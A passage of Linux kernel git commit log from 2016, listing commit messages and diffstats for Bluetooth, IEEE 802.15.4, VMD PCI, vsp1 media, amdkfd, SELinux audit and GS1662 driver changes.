Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg include/net/bluetooth/bluetooth.h | 1 + net/bluetooth/hci_sock.c | 31 ++++++++++++++++++++++++++++++- 2 files changed, 31 insertions(+), 1 deletion(-) commit 47b0f573f2fa7634860e16ea31f2bc3057a1022a Author: Marcel Holtmann Date: Sat Aug 27 20:23:37 2016 +0200 Bluetooth: Check SOL_HCI for raw socket options The SOL_HCI level should be enforced when using socket options on the HCI raw socket interface. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/hci_sock.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 7e8524591ffffe3536bd363827ff4477a5672c65 Author: Wolfram Sang Date: Thu Aug 11 23:00:31 2016 +0200 Bluetooth: bcm203x: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Marcel Holtmann drivers/bluetooth/bcm203x.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 935199348048902124d0b288788c3a45e78b69ab Author: Kai-Heng Feng Date: Tue Aug 16 12:50:06 2016 +0800 Bluetooth: btusb: Add support for 0cf3:e009 Device 0cf3:e009 is one of the QCA ROME family. T: Bus=01 Lev=01 Prnt=01 Port=07 Cnt=04 Dev#= 4 Spd=12 MxCh= 0 D: Ver= 2.01 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=0cf3 ProdID=e009 Rev=00.01 C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb Signed-off-by: Kai-Heng Feng Signed-off-by: Marcel Holtmann drivers/bluetooth/btusb.c | 1 + 1 file changed, 1 insertion(+) commit 1aabbbcefe8e62fbffaaa01ca8bdd4cd6ed1625b Author: Nicolas Iooss Date: Fri Jul 29 13:28:25 2016 +0200 Bluetooth: add printf format attribute to hci_set_[fh]w_info() Commit 5177a83827cd ("Bluetooth: Add debugfs fields for hardware and firmware info") introduced hci_set_hw_info() and hci_set_fw_info(). These functions use kvasprintf_const() but are not marked with a __printf attribute. Adding such an attribute helps detecting issues related to printf-formatting at build time. Signed-off-by: Nicolas Iooss Signed-off-by: Johan Hedberg Signed-off-by: Marcel Holtmann include/net/bluetooth/hci_core.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f0a70a04ca10d07a383a89edea142e3cbab1f2ca Author: Bart Van Assche Date: Thu Aug 11 16:02:44 2016 -0700 Bluetooth: btusb, hci_intel: Fix wait_on_bit_timeout() return value checks wait_on_bit_timeout() returns one of the following three values: * 0 to indicate success. * -EINTR to indicate that a signal has been received; * -EAGAIN to indicate timeout; Make the wait_on_bit_timeout() callers check for these values. Signed-off-by: Bart Van Assche Signed-off-by: Johan Hedberg Signed-off-by: Marcel Holtmann drivers/bluetooth/btusb.c | 5 ++--- drivers/bluetooth/hci_intel.c | 6 +++--- 2 files changed, 5 insertions(+), 6 deletions(-) commit 1511cc750c3d9a1c402d71e3522c9cf1fad0ad9c Author: Bjorn Andersson Date: Fri Aug 12 17:01:28 2016 -0700 Bluetooth: Introduce Qualcomm WCNSS SMD based HCI driver The Qualcomm WCNSS chip provides two SMD channels to the BT core; one for command and one for event packets. This driver exposes the two channels as a hci device. Signed-off-by: Bjorn Andersson Signed-off-by: Bjorn Andersson Signed-off-by: Marcel Holtmann drivers/bluetooth/Kconfig | 12 +++ drivers/bluetooth/Makefile | 1 + drivers/bluetooth/btqcomsmd.c | 182 ++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 195 insertions(+) commit 65010e68efbeda4275845240869138c0c4587422 Author: Bjorn Andersson Date: Fri Aug 12 17:01:27 2016 -0700 Bluetooth: Add HCI device identifier for Qualcomm SMD This patch assigns the next free HCI device identifier to Bluetooth devices based on the Qualcomm Shared Memory channels. Signed-off-by: Bjorn Andersson Signed-off-by: Bjorn Andersson Signed-off-by: Marcel Holtmann include/net/bluetooth/hci.h | 1 + 1 file changed, 1 insertion(+) commit bd89bb6daaca3e4a7c509bdacb53a610f432fa2c Author: Aristeu Rozanski Date: Mon Jul 25 11:46:41 2016 -0400 mac802154: use rate limited warnings for malformed frames Signed-off-by: Aristeu Rozanski Acked-by: Alexander Aring Signed-off-by: Marcel Holtmann net/mac802154/rx.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ca1de81aa262dcf48354a7c55f2558205517d06e Author: Aristeu Rozanski Date: Mon Jul 25 11:46:40 2016 -0400 mac802154: don't warn on unsupported frames Just because we don't support certain types of frames yet doesn't mean we have to flood the message log with warnings about "invalid" frames. Signed-off-by: Aristeu Rozanski Acked-by: Alexander Aring Signed-off-by: Marcel Holtmann net/mac802154/rx.c | 5 +++++ 1 file changed, 5 insertions(+) commit 5ddedce3b7331959a6da217ed3189d020090873c Author: Alexander Aring Date: Sun Jul 24 16:12:25 2016 +0200 6lowpan: ndisc: no overreact if no short address is available This patch removes handling to remove short address for a neigbour entry if RS/RA/NS/NA doesn't contain a short address. If these messages doesn't has any short address option, the existing short address from ndisc cache will be used. The current behaviour will set that the neigbour doesn't has a short address anymore. Signed-off-by: Alexander Aring Signed-off-by: Marcel Holtmann net/6lowpan/ndisc.c | 2 -- 1 file changed, 2 deletions(-) commit abbcc341adb16f68915cae7ef9a10e0d7b57e3c0 Author: Alexander Aring Date: Sun Jul 24 16:12:24 2016 +0200 mac802154: set phy net namespace for new ifaces This patch sets the net namespace when creating SoftMAC interfaces. This is important if the namespace at phy layer was switched before. Currently we losing interfaces in some namespace and it's not possible to recover that. Signed-off-by: Alexander Aring Signed-off-by: Marcel Holtmann net/mac802154/iface.c | 1 + 1 file changed, 1 insertion(+) commit e64c97b53bc6727aa4385535166aaa047281e02d Author: Marcel Holtmann Date: Thu Jul 21 14:12:41 2016 +0200 Bluetooth: Add combined LED trigger for controller power Instead of just having a LED trigger for power on a specific controller, this adds the LED trigger "bluetooth-power" that combines the power states of all controllers into a single trigger. This simplifies the trigger selection and also supports multiple controllers per host system via a single LED. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg net/bluetooth/af_bluetooth.c | 5 +++++ net/bluetooth/leds.c | 27 +++++++++++++++++++++++++++ net/bluetooth/leds.h | 10 ++++++++++ 3 files changed, 42 insertions(+) commit 53f863a66904542b03204f2b115d050b04c11ba5 Author: Marcel Holtmann Date: Thu Jul 21 14:12:40 2016 +0200 Bluetooth: Put led_trigger field behind CONFIG_BT_LEDS The led_trigger field in hci_dev should be conditional based on if CONFIG_BT_LEDS is set or not. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg include/net/bluetooth/hci_core.h | 2 ++ 1 file changed, 2 insertions(+) commit b61873922d2c0029411304e66f810f5133b32c4d Author: Mauro Carvalho Chehab Date: Mon Sep 19 15:18:01 2016 -0300 [media] vsp1: fix CodingStyle violations on multi-line comments Several multi-line comments added at the vsp1 patch series violate the Kernel CodingStyle. Fix them. Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_bru.c | 3 ++- drivers/media/platform/vsp1/vsp1_clu.c | 3 ++- drivers/media/platform/vsp1/vsp1_dl.c | 21 ++++++++++++++------- drivers/media/platform/vsp1/vsp1_drm.c | 3 ++- drivers/media/platform/vsp1/vsp1_entity.h | 2 +- drivers/media/platform/vsp1/vsp1_pipe.c | 2 +- drivers/media/platform/vsp1/vsp1_rpf.c | 9 ++++++--- drivers/media/platform/vsp1/vsp1_rwpf.c | 6 ++++-- drivers/media/platform/vsp1/vsp1_video.c | 20 +++++++++++++------- drivers/media/platform/vsp1/vsp1_wpf.c | 9 ++++++--- 10 files changed, 51 insertions(+), 27 deletions(-) commit ee6ee49fd09fa17c92aadf07961d0ff406fceab8 Author: Keith Busch Date: Thu Aug 4 16:09:09 2016 -0600 x86/PCI: VMD: Synchronize with RCU freeing MSI IRQ descs Fix a potential race when disabling MSI/MSI-X on a VMD domain device. If the VMD interrupt service is running, it may see a disabled IRQ. We can synchronize RCU just before freeing the MSI descriptor. This is safe since the irq_desc lock isn't held, and the descriptor is valid even though it is disabled. After vmd_msi_free(), though, the handler is reinitialized to handle_bad_irq(), so we can't let the VMD ISR's list iteration see the disabled IRQ after this. Signed-off-by: Keith Busch Signed-off-by: Bjorn Helgaas Acked-by Jon Derrick: arch/x86/pci/vmd.c | 2 ++ 1 file changed, 2 insertions(+) commit b31822277abcd7c83d1c1c0af876da9ccdf3b7d6 Author: Jon Derrick Date: Fri Sep 2 11:53:05 2016 -0600 x86/PCI: VMD: Eliminate index member from IRQ list Use math to discover the IRQ list index number relative to the IRQ list head. Signed-off-by: Jon Derrick Signed-off-by: Bjorn Helgaas Acked-by: Keith Busch arch/x86/pci/vmd.c | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) commit 53db86adc2c9b3ce0454bece4487e8eca96e2614 Author: Jon Derrick Date: Fri Sep 2 11:53:04 2016 -0600 x86/PCI: VMD: Eliminate vmd_vector member from list type Eliminate unused vmd and vector members from vmd_irq_list and discover the vector using pci_irq_vector(). Signed-off-by: Jon Derrick Signed-off-by: Bjorn Helgaas Acked-by: Keith Busch arch/x86/pci/vmd.c | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) commit 75de9b4cd3119eaddce6616776f62a5b30fb0fae Author: Jon Derrick Date: Mon Aug 29 11:19:02 2016 -0600 x86/PCI: VMD: Convert to use pci_alloc_irq_vectors() API Convert to use the pci_alloc_irq_vectors() API. Signed-off-by: Jon Derrick Signed-off-by: Bjorn Helgaas Reviewed-by: Keith Busch arch/x86/pci/vmd.c | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) commit c68db51589052ef9adee4dd699462681737849a2 Author: Jon Derrick Date: Mon Aug 29 11:19:01 2016 -0600 x86/PCI: VMD: Allocate IRQ lists with correct MSI-X count To reduce the amount of memory required for IRQ lists, only allocate their space after calling pci_msix_enable_range() which may reduce the number of MSI-X vectors allocated. Signed-off-by: Jon Derrick Signed-off-by: Bjorn Helgaas Reviewed-by: Keith Busch arch/x86/pci/vmd.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit c9f49607f133615ac5efe7e10722c2952659c0ec Author: Laurent Pinchart Date: Thu Sep 15 16:08:09 2016 -0300 [media] v4l: vsp1: Disable VYUY on Gen3 The VYUY format isn't supported on Gen3 hardware, disable it. Gen2 hardware supports VYUY in practice even though the documentation doesn't advertise it, so keep it for Gen2 devices. Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_drm.c | 2 +- drivers/media/platform/vsp1/vsp1_pipe.c | 8 +++++++- drivers/media/platform/vsp1/vsp1_pipe.h | 3 ++- drivers/media/platform/vsp1/vsp1_video.c | 4 ++-- 4 files changed, 12 insertions(+), 5 deletions(-) commit 225c2926d85bd2f9aebd5a122fa14a44b74d2594 Author: Laurent Pinchart Date: Tue Sep 13 20:19:29 2016 -0300 [media] v4l: vsp1: Fix spinlock in mixed IRQ context function The wpf_configure() function can be called both from IRQ and non-IRQ contexts, use spin_lock_irqsave(). Signed-off-by: Laurent Pinchart Acked-by: Niklas Söderlund Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_wpf.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit fc6e514a72c718f025d69e3006d6827b25a6df27 Author: Kieran Bingham Date: Sun Sep 11 23:26:35 2016 -0300 [media] v4l: vsp1: Support multiple partitions per frame Adapt vsp1_video_pipeline_run() such that it can iterate each partition required for constructing this frame's display list chain in the event that multiple display lists are required to process in hardware. The first display list is held as the head list object, whilst any following parition display lists are linked to the head by means of vsp1_dl_list_add_chain(). Linking the chained display list headers to process using the auto start mechanism of the hardware is performed during the vsp1_dl_list_commit(). Signed-off-by: Kieran Bingham Signed-off-by: Laurent Pinchart Reviewed-by: Niklas Söderlund Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_pipe.h | 3 + drivers/media/platform/vsp1/vsp1_rpf.c | 46 +++++++++--- drivers/media/platform/vsp1/vsp1_uds.c | 15 +++- drivers/media/platform/vsp1/vsp1_video.c | 121 ++++++++++++++++++++++++++++++- drivers/media/platform/vsp1/vsp1_wpf.c | 30 +++++++- 5 files changed, 195 insertions(+), 20 deletions(-) commit df32c924518716160d43defc444199e894859c08 Author: Kieran Bingham Date: Tue Jul 12 10:06:34 2016 -0300 [media] v4l: vsp1: Determine partition requirements for scaled images The partition algorithm needs to determine the capabilities of each entity in the pipeline to identify the correct maximum partition width. Extend the vsp1 entity operations to provide a max_width operation and use this call to calculate the number of partitions that will be processed by the algorithm. Gen 2 hardware does not require multiple partitioning, and as such will always return a single partition. Signed-off-by: Kieran Bingham Signed-off-by: Laurent Pinchart Acked-by: Niklas Söderlund Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_entity.h | 3 +++ drivers/media/platform/vsp1/vsp1_pipe.h | 5 ++++ drivers/media/platform/vsp1/vsp1_sru.c | 19 +++++++++++++++ drivers/media/platform/vsp1/vsp1_uds.c | 25 +++++++++++++++++++ drivers/media/platform/vsp1/vsp1_video.c | 40 +++++++++++++++++++++++++++++++ 5 files changed, 92 insertions(+) commit 76e48896c0b7b25a65740f03c6c5d3f35a02fd74 Author: Kieran Bingham Date: Tue Jul 12 13:49:46 2016 -0300 [media] v4l: vsp1: Support chained display lists When display lists are linked in a chain, they will be processed automatically by the hardware, with each list linking to the next. Only on the last display list will the frame end interrupt be fired to mark the completion event. Upon frame-end, the chain will be iterated to release each display list back to the free list. The chained lists use case (image partitioning) can require up to 64 lists per frame in the worst case scenario, bump up the number of preallocated lists. Signed-off-by: Kieran Bingham Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_dl.c | 119 +++++++++++++++++++++++++++------ drivers/media/platform/vsp1/vsp1_dl.h | 1 + drivers/media/platform/vsp1/vsp1_wpf.c | 2 +- 3 files changed, 102 insertions(+), 20 deletions(-) commit 8ddf3784295f1b3341ccc206740afd4235dbcbe0 Author: Laurent Pinchart Date: Mon Sep 12 09:50:13 2016 -0300 [media] v4l: vsp1: Replace .set_memory() with VSP1_ENTITY_PARAMS_PARTITION The new VSP1_ENTITY_PARAMS_PARTITION configuration parameters type covers all registers that need to be configured for every partition. This prepares for support of image partitioning, and replaces the .set_memory() operation as the memory registers take different values for every partition. Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_clu.c | 3 ++ drivers/media/platform/vsp1/vsp1_drm.c | 9 +--- drivers/media/platform/vsp1/vsp1_entity.h | 6 +-- drivers/media/platform/vsp1/vsp1_lut.c | 3 ++ drivers/media/platform/vsp1/vsp1_rpf.c | 78 ++++++++++++++-------------- drivers/media/platform/vsp1/vsp1_rwpf.h | 13 ----- drivers/media/platform/vsp1/vsp1_video.c | 17 ++----- drivers/media/platform/vsp1/vsp1_wpf.c | 85 +++++++++++++++++-------------- 8 files changed, 100 insertions(+), 114 deletions(-) commit e88a614c403573e861f82c063d8aee25cf109f17 Author: Edward O'Callaghan Date: Sat Sep 17 15:01:45 2016 +1000 drm/amdkfd: Pass 'struct queue_propertices' by reference Allow init_queue() to take 'struct queue_properties' by reference. Signed-off-by: Edward O'Callaghan Reviewed-by: Oded Gabbay Signed-off-by: Oded Gabbay drivers/gpu/drm/amd/amdkfd/kfd_kernel_queue.c | 2 +- drivers/gpu/drm/amd/amdkfd/kfd_priv.h | 2 +- drivers/gpu/drm/amd/amdkfd/kfd_process_queue_manager.c | 2 +- drivers/gpu/drm/amd/amdkfd/kfd_queue.c | 4 ++-- 4 files changed, 5 insertions(+), 5 deletions(-) commit 6f4d92a12786ffebcf508fd96c5d09487cb93b00 Author: Edward O'Callaghan Date: Sat Sep 17 15:01:44 2016 +1000 drm/amdkfd: Unify multiple calls to pr_debug() into one Signed-off-by: Edward O'Callaghan Reviewed-by: Oded Gabbay Signed-off-by: Oded Gabbay drivers/gpu/drm/amd/amdkfd/kfd_doorbell.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) commit 1d602430d335c88d4b5a4def4464e9d3a59cdcca Author: Edward O'Callaghan Date: Sat Sep 17 15:01:43 2016 +1000 drm/amdkfd: Fix possible infinite loop When the loop predicating timeout parameter passed happens to not be a multiple of 20 the unsigned integer will overflow and the loop will become unbounded. Signed-off-by: Edward O'Callaghan Reviewed-by: Oded Gabbay Signed-off-by: Oded Gabbay drivers/gpu/drm/amd/amdgpu/amdgpu_amdkfd_gfx_v7.c | 17 +++++++++-------- drivers/gpu/drm/amd/amdgpu/amdgpu_amdkfd_gfx_v8.c | 17 +++++++++-------- 2 files changed, 18 insertions(+), 16 deletions(-) commit ad16a469ffa1f1bbf8f31e110b4d68cee39757d2 Author: Edward O'Callaghan Date: Sat Sep 17 15:01:42 2016 +1000 drm/amdkfd: Reuse function to find a process through pasid The kfd_lookup_process_by_pasid() is just for that purpose, so use it instead of repeating the code. v2: return on the condition (p == NULL) instead of BUG_ON(!p). Signed-off-by: Edward O'Callaghan Reviewed-by: Oded Gabbay Signed-off-by: Oded Gabbay drivers/gpu/drm/amd/amdkfd/kfd_process.c | 61 +++++++++++++------------------- 1 file changed, 25 insertions(+), 36 deletions(-) commit 78b13f7964d97be4329e6410423a66affd7a68ad Author: Edward O'Callaghan Date: Sat Sep 17 15:01:41 2016 +1000 drm/amdkfd: Add some missing memset zero'ing in queue init func Signed-off-by: Edward O'Callaghan Reviewed-by: Oded Gabbay Signed-off-by: Oded Gabbay drivers/gpu/drm/amd/amdkfd/kfd_kernel_queue.c | 3 +++ 1 file changed, 3 insertions(+) commit 585f0e6c53d68e127b3e7e30e4968364c7292ebb Author: Edward O'Callaghan Date: Sat Sep 17 15:01:40 2016 +1000 drm/amdkfd: Tidy up kfd_generate_gpu_id() uint64_t bitshift unpack Dereference the one time and unpack the lower and upper 32bit portions with the proper kernel helper macros. Signed-off-by: Edward O'Callaghan Reviewed-by: Oded Gabbay Signed-off-by: Oded Gabbay drivers/gpu/drm/amd/amdkfd/kfd_topology.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit d21fbbb4e9705189cabd724de0dec3f01fb362d1 Author: Laurent Pinchart Date: Sun Sep 11 19:39:30 2016 -0300 [media] v4l: vsp1: Pass parameter type to entity configuration operation Replace the current boolean parameter (full / !full) with an explicit enum. - VSP1_ENTITY_PARAMS_INIT for parameters to be configured at pipeline initialization time only (V4L2 stream on or DRM atomic update) - VSP1_ENTITY_PARAMS_RUNTIME for all parameters that can be freely modified at runtime (through V4L2 controls) This will allow future extensions when implementing image partitioning support. Signed-off-by: Laurent Pinchart Acked-by: Niklas Söderlund Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_bru.c | 5 ++-- drivers/media/platform/vsp1/vsp1_clu.c | 43 +++++++++++++++++-------------- drivers/media/platform/vsp1/vsp1_drm.c | 6 +++-- drivers/media/platform/vsp1/vsp1_entity.h | 12 ++++++++- drivers/media/platform/vsp1/vsp1_hsit.c | 5 ++-- drivers/media/platform/vsp1/vsp1_lif.c | 5 ++-- drivers/media/platform/vsp1/vsp1_lut.c | 24 ++++++++++------- drivers/media/platform/vsp1/vsp1_rpf.c | 5 ++-- drivers/media/platform/vsp1/vsp1_sru.c | 5 ++-- drivers/media/platform/vsp1/vsp1_uds.c | 5 ++-- drivers/media/platform/vsp1/vsp1_video.c | 6 +++-- drivers/media/platform/vsp1/vsp1_wpf.c | 5 ++-- 12 files changed, 78 insertions(+), 48 deletions(-) commit abe9609f808140f46d092035b75dd58ae80db056 Author: Laurent Pinchart Date: Mon Sep 12 12:38:36 2016 -0300 [media] v4l: vsp1: Fix RPF cropping The RPF cropping offset for the chroma planes is incorrectly computed, it needs to be divided by the horizontal subsampling factor. Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_rpf.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b61bead62ec4264fbb529a5730558f4c87a46ae4 Author: Laurent Pinchart Date: Sun Sep 11 22:41:06 2016 -0300 [media] v4l: vsp1: Disable cropping on WPF sink pad Cropping on the WPF sink pad restricts the left and top coordinates to 0-255. The same result can be obtained by cropping on the RPF without any such restriction, this feature isn't useful. Disable it. Signed-off-by: Laurent Pinchart Acked-by: Niklas Söderlund Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_rwpf.c | 37 +++++++++++++++++---------------- drivers/media/platform/vsp1/vsp1_wpf.c | 18 +++++++--------- 2 files changed, 26 insertions(+), 29 deletions(-) commit 4c4b57b91bee77c442809b20f1bbeb490a5db5cc Author: Kieran Bingham Date: Tue Sep 6 06:55:02 2016 -0300 [media] v4l: vsp1: Use DFE instead of FRE for frame end The DFE and FRE interrupts are both fired at frame completion, as each display list processes a single frame. This won't be true anymore when using image partitioning, switch to DFE in preparation. Signed-off-by: Laurent Pinchart Signed-off-by: Kieran Bingham Acked-by: Niklas Söderlund Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_drv.c | 2 +- drivers/media/platform/vsp1/vsp1_wpf.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit bfb4d5be9e1d5a70d0710e815d15a4245eaaafc4 Author: Kieran Bingham Date: Tue Sep 6 14:07:09 2016 -0300 [media] v4l: vsp1: Repair race between frame end and qbuf handler The frame-end function releases and completes the buffers on the input and output entities of the pipe before marking the pipe->state as 'STOPPED'. This introduces a race whereby with the pipe->state still 'RUNNING', a QBUF handler can commence processing a frame before the frame_end function has completed. In the event that this happens, a frame queued by QBUF hangs due to the incorrect pipe->state setting which prevents vsp1_pipeline_run from issuing a CMD_STRCMD. By locking the entire function we prevent this from occurring, but we also change the locking state of the buffer release code. This has been analysed visually as acceptable, but it must be considered that this now causes the video->irqlock to be taken under the pipe->irqlock context. Signed-off-by: Kieran Bingham Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_video.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 7a9e7bd32ba43a050e868ba44c4a0665079a8264 Author: Kieran Bingham Date: Fri Sep 2 07:48:27 2016 -0300 [media] v4l: vsp1: Ensure pipeline locking in resume path The vsp1_pipeline_ready() and vsp1_pipeline_run() functions must be called with the pipeline lock held, fix the resume code path. Signed-off-by: Kieran Bingham Signed-off-by: Laurent Pinchart Acked-by: Niklas Söderlund Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_pipe.c | 3 +++ 1 file changed, 3 insertions(+) commit 34e77ed84b274d20415067306b855bd87f761f5e Author: Laurent Pinchart Date: Sun Jun 26 08:09:31 2016 -0300 [media] v4l: vsp1: Protect against race conditions between get and set format The subdev userspace API isn't serialized in the core, serialize access to formats and selection rectangles in the driver. Signed-off-by: Laurent Pinchart Acked-by: Niklas Söderlund Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_bru.c | 28 +++++++++++++++----- drivers/media/platform/vsp1/vsp1_clu.c | 15 ++++++++--- drivers/media/platform/vsp1/vsp1_entity.c | 22 +++++++++++++--- drivers/media/platform/vsp1/vsp1_entity.h | 4 ++- drivers/media/platform/vsp1/vsp1_hsit.c | 15 ++++++++--- drivers/media/platform/vsp1/vsp1_lif.c | 15 ++++++++--- drivers/media/platform/vsp1/vsp1_lut.c | 15 ++++++++--- drivers/media/platform/vsp1/vsp1_rwpf.c | 44 +++++++++++++++++++++++-------- drivers/media/platform/vsp1/vsp1_sru.c | 26 +++++++++++++----- drivers/media/platform/vsp1/vsp1_uds.c | 26 +++++++++++++----- 10 files changed, 161 insertions(+), 49 deletions(-) commit e4e70a147a48618a36ae1b81c641516cb9d45993 Author: Laurent Pinchart Date: Fri Jul 8 06:20:51 2016 -0300 [media] v4l: vsp1: Prevent pipelines from running when not streaming Pipelines can only be run if all their video nodes are streaming. Commit b4dfb9b35a19 ("[media] v4l: vsp1: Stop the pipeline upon the first STREAMOFF") fixed the pipeline stop sequence, but introduced a race condition that makes it possible to run a pipeline after stopping the stream on a video node by queuing a buffer on the other side of the pipeline. Fix this by clearing the buffers ready flag when stopping the stream, which will prevent the QBUF handler from running the pipeline. Fixes: b4dfb9b35a19 ("[media] v4l: vsp1: Stop the pipeline upon the first STREAMOFF") Reported-by: Kieran Bingham Tested-by: Kieran Bingham Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vsp1/vsp1_video.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 43af5de74288a7cdc3684902c5259346ae67adf8 Author: Vivek Goyal Date: Fri Sep 9 11:37:49 2016 -0400 lsm,audit,selinux: Introduce a new audit data type LSM_AUDIT_DATA_FILE Right now LSM_AUDIT_DATA_PATH type contains "struct path" in union "u" of common_audit_data. This information is used to print path of file at the same time it is also used to get to dentry and inode. And this inode information is used to get to superblock and device and print device information. This does not work well for layered filesystems like overlay where dentry contained in path is overlay dentry and not the real dentry of underlying file system. That means inode retrieved from dentry is also overlay inode and not the real inode. SELinux helpers like file_path_has_perm() are doing checks on inode retrieved from file_inode(). This returns the real inode and not the overlay inode. That means we are doing check on real inode but for audit purposes we are printing details of overlay inode and that can be confusing while debugging. Hence, introduce a new type LSM_AUDIT_DATA_FILE which carries file information and inode retrieved is real inode using file_inode(). That way right avc denied information is given to user. For example, following is one example avc before the patch. type=AVC msg=audit(1473360868.399:214): avc: denied { read open } for pid=1765 comm="cat" path="/root/.../overlay/container1/merged/readfile" dev="overlay" ino=21443 scontext=unconfined_u:unconfined_r:test_overlay_client_t:s0:c10,c20 tcontext=unconfined_u:object_r:test_overlay_files_ro_t:s0 tclass=file permissive=0 It looks as follows after the patch. type=AVC msg=audit(1473360017.388:282): avc: denied { read open } for pid=2530 comm="cat" path="/root/.../overlay/container1/merged/readfile" dev="dm-0" ino=2377915 scontext=unconfined_u:unconfined_r:test_overlay_client_t:s0:c10,c20 tcontext=unconfined_u:object_r:test_overlay_files_ro_t:s0 tclass=file permissive=0 Notice that now dev information points to "dm-0" device instead of "overlay" device. This makes it clear that check failed on underlying inode and not on the overlay inode. Signed-off-by: Vivek Goyal [PM: slight tweaks to the description to make checkpatch.pl happy] Signed-off-by: Paul Moore include/linux/lsm_audit.h | 2 ++ security/lsm_audit.c | 13 +++++++++++++ security/selinux/hooks.c | 16 ++++++++-------- 3 files changed, 23 insertions(+), 8 deletions(-) commit 3c3ba5452e8a0e2dd9fb89222feb88f11ec6ff7a Author: Mauro Carvalho Chehab Date: Mon Sep 19 14:39:49 2016 -0300 [media] gs1662: make checkpatch happy WARNING: line over 80 characters + GS_HEIGHT_MAX, GS_PIXELCLOCK_MIN, GS_PIXELCLOCK_MAX, WARNING: line over 80 characters + if (v4l2_match_dv_timings(timings, ®_fmt[i].format, 0, false)) WARNING: Block comments use a trailing */ on a separate line + * which looks like a video signal activity.*/ WARNING: else is not generally useful after a break or return + return gs_write_register(gs->pdev, REG_FORCE_FMT, reg_value); + } else { WARNING: Block comments use a trailing */ on a separate line + * which looks like a video signal activity.*/ ERROR: spaces required around that '=' (ctx:VxW) + .enum_dv_timings= gs_enum_dv_timings, ^ Signed-off-by: Mauro Carvalho Chehab drivers/media/spi/gs1662.c | 26 ++++++++++++++++---------- 1 file changed, 16 insertions(+), 10 deletions(-) commit 8283a0929922b331dbd73db26520443136941c48 Author: Hans Verkuil Date: Thu Sep 15 12:18:14 2016 -0300 [media] media Kconfig: improve the spi integration The SPI driver looked a bit lonely in the config menu, and it didn't support the autoselect. Shift things around a bit so it looks more logical. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/Kconfig | 8 ++++---- drivers/media/i2c/Kconfig | 2 +- drivers/media/spi/Kconfig | 5 +++++ 3 files changed, 10 insertions(+), 5 deletions(-) commit 7aae6e2df127f9f7a96c21e21a277dd7ff063e6a Author: Charles-Antoine Couret Date: Thu Sep 15 12:29:51 2016 -0300 [media] Add GS1662 driver, a video serializer You can read datasheet here: http://www.c-dis.net/media/871/GS1662_Datasheet.pdf It's a component which supports HD and SD CEA or SDI formats to SDI output. It's configured through SPI bus. GS1662 driver is implemented as v4l2 subdev. Signed-off-by: Charles-Antoine Couret Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab MAINTAINERS | 7 + drivers/media/Kconfig | 1 + drivers/media/Makefile | 2 +- drivers/media/spi/Kconfig | 9 + drivers/media/spi/Makefile | 1 + drivers/media/spi/gs1662.c | 472 +++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 491 insertions(+), 1 deletion(-) commit 4053aad5f1fb1bf5df2c57d698a2eea40f919e9c Author: Mauro Carvalho Chehab Date: Mon Sep 19 14:27:25 2016 -0300 [media] videodev2.h.rst.exceptions: fix warnings Changeset ab6343956f9c ("[media] V4L2: Add documentation for SDI timings and related flags") added documentation for new V4L2 defines, but it forgot to update videodev2.h.rst.exceptions to point to where the documentation for those new values will be inside the book, causing those warnings: Documentation/output/videodev2.h.rst:6: WARNING: undefined label: v4l2-dv-bt-std-sdi (if the link has no caption the label must precede a section header) Documentation/output/videodev2.h.rst:6: WARNING: undefined label: v4l2-dv-fl-first-field-extra-line (if the link has no caption the label must precede a section header) Documentation/output/videodev2.h.rst:6: WARNING: undefined label: v4l2-in-st-no-v-lock (if the link has no caption the label must precede a section header) Documentation/output/videodev2.h.rst:6: 